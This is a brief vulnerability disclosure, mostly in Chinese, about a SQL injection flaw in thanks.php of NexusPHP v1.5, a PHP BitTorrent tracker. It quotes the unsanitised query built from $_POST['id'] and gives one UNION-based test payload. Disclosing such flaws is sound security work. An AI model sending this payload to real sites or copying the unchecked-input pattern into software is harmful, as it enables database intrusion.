标题: Nexusphp.v1.5 SQL injection Vulnerability 

作者: flyh4t  www.2cto.com

下载地址: http://sourceforge.net/projects/nexusphp/ 

影响版本: nexusphp.v1.5 

测试平台: linux+apache 

Nexusphp is BitTorrent private tracker scripts written in PHP  

 

源码下载：http://sourceforge.net/projects/nexusphp/ 

 

thanks.php存在一些sql注射缺陷

-----------------------代码分析------------------- 

 

//thanks.php 

 

if ($_GET['id']) 

 

 stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!"); 

 

$userid = $CURUSER["id"]; 

 

$torrentid = $_POST["id"]; 

 

$tsql = sql_query("SELECT owner FROM torrents where id=$torrentid"); 

 

$arr = mysql_fetch_array($tsql); 

 

-----------------------end------------------- 

 $_POST["id"] is not checked, lead a sql injection Vulnerability 

-----------------------测试------------------- 

_POST[id] : -1 union select version()>4/*  www.2cto.com

-----------------------end -------------------

 

修复：checked